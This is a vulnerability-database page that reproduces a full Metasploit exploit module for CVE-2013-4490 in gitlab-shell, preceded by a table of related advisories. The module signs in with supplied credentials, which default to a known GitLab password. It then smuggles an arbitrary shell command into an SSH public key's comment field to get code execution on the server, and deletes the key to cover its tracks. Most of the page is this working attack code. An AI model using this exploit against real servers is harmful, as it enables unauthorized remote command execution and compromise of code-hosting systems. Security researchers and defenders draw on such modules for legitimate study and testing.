| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| Gitlab-shell Code Execution Exploit | 18 Aug 201400:00 | – | zdt | |
| CVE-2013-4490 | 19 Aug 201400:00 | – | circl | |
| CVE-2013-4490 | 13 May 201415:00 | – | cve | |
| CVE-2013-4490 | 13 May 201415:00 | – | cvelist | |
| CVE-2013-4490 | 13 May 201415:00 | – | debiancve | |
| Gitlab-shell - Code Execution (Metasploit) | 19 Aug 201400:00 | – | exploitdb | |
| CVE-2013-4490 | 13 May 201415:55 | – | nvd | |
| GitLab Community Edition 4.2.x - 5.4.0, 6.x - 6.2.2 Multiple Vulnerabilities | 28 Mar 202200:00 | – | openvas | |
| Gitlab-shell Code Execution | 18 Aug 201400:00 | – | packetstorm | |
| Design/Logic Flaw | 13 May 201415:55 | – | prion |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Gitlab-shell Code Execution',
'Description' => %q(
This module takes advantage of the addition of authorized
ssh keys in the gitlab-shell functionality of Gitlab. Versions
of gitlab-shell prior to 1.7.4 used the ssh key provided directly
in a system call resulting in a command injection vulnerability. As
this relies on adding an ssh key to an account, valid credentials
are required to exploit this vulnerability.
),
'Author' =>
[
'Brandon Knight'
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'],
['CVE', '2013-4490']
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X64
}
],
[ 'Unix (CMD)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' =>
{
'Compat' =>
{
'RequiredCmd' => 'openssl perl python'
},
'BadChars' => "\x22"
}
}
],
[ 'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Payload' =>
{
'BadChars' => "\x22"
}
}
]
],
'CmdStagerFlavor' => %w( bourne printf ),
'DisclosureDate' => '2013-11-04',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']),
OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']),
OptString.new('TARGETURI', [true, 'The path to Gitlab', '/'])
])
end
def exploit
login
case target['Platform']
when 'unix'
execute_command(payload.encoded)
when 'python'
execute_command("python -c \\\"#{payload.encoded}\\\"")
when 'linux'
execute_cmdstager(temp: './', linemax: 2800)
end
end
def execute_command(cmd, _opts = {})
key_id = add_key(cmd)
delete_key(key_id)
end
def check
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in'))
if res && res.body && res.body.include?('GitLab')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
end
def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in')
# Get a valid session cookie and authenticity_token for the next step
res = send_request_cgi(
'method' => 'GET',
'cookie' => 'request_method=GET',
'uri' => signin_page
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res
local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
if res.body.include? 'user[email]'
@gitlab_version = 5
user_field = 'user[email]'
else
@gitlab_version = 7
user_field = 'user[login]'
end
# Perform the actual login and get the newly assigned session cookie
res = send_request_cgi(
'method' => 'POST',
'cookie' => local_session_cookie,
'uri' => signin_page,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
"#{user_field}" => username,
'user[password]' => password,
'user[remember_me]' => 0
}
)
fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302
@session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0]
fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil?
end
def add_key(cmd)
if @gitlab_version == 5
@key_base = normalize_uri(target_uri.path.to_s, 'keys')
else
@key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys')
end
# Perform an initial request to get an authenticity_token so the actual
# key addition can be done successfully.
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => normalize_uri(@key_base, 'new')
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
title = rand_text_alphanumeric(16)
key_info = rand_text_alphanumeric(6)
# Generate a random ssh key
key = OpenSSL::PKey::RSA.new 2048
type = key.ssh_type
data = [key.to_blob].pack('m0')
openssh_format = "#{type} #{data}"
# Place the payload in to the key information to perform the command injection
key = "#{openssh_format} #{key_info}';#{cmd}; echo '"
res = send_request_cgi(
'method' => 'POST',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base,
'vars_post' =>
{
'utf8' => "\xE2\x9C\x93",
'authenticity_token' => auth_token,
'key[title]' => title,
'key[key]' => key
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
# Get the newly added key id so it can be used for cleanup
key_id = res.headers['Location'].split('/')[-1]
key_id
end
def delete_key(key_id)
res = send_request_cgi(
'method' => 'GET',
'cookie' => "request_method=GET; #{@session_cookie}",
'uri' => @key_base
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
auth_token = res.body.scan(/<meta content="(.*?)" name="csrf-token"/).flatten[0]
# Remove the key which was added to clean up after ourselves
res = send_request_cgi(
'method' => 'POST',
'cookie' => "#{@session_cookie}",
'uri' => normalize_uri("#{@key_base}", "#{key_id}"),
'vars_post' =>
{
'_method' => 'delete',
'authenticity_token' => auth_token
}
)
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation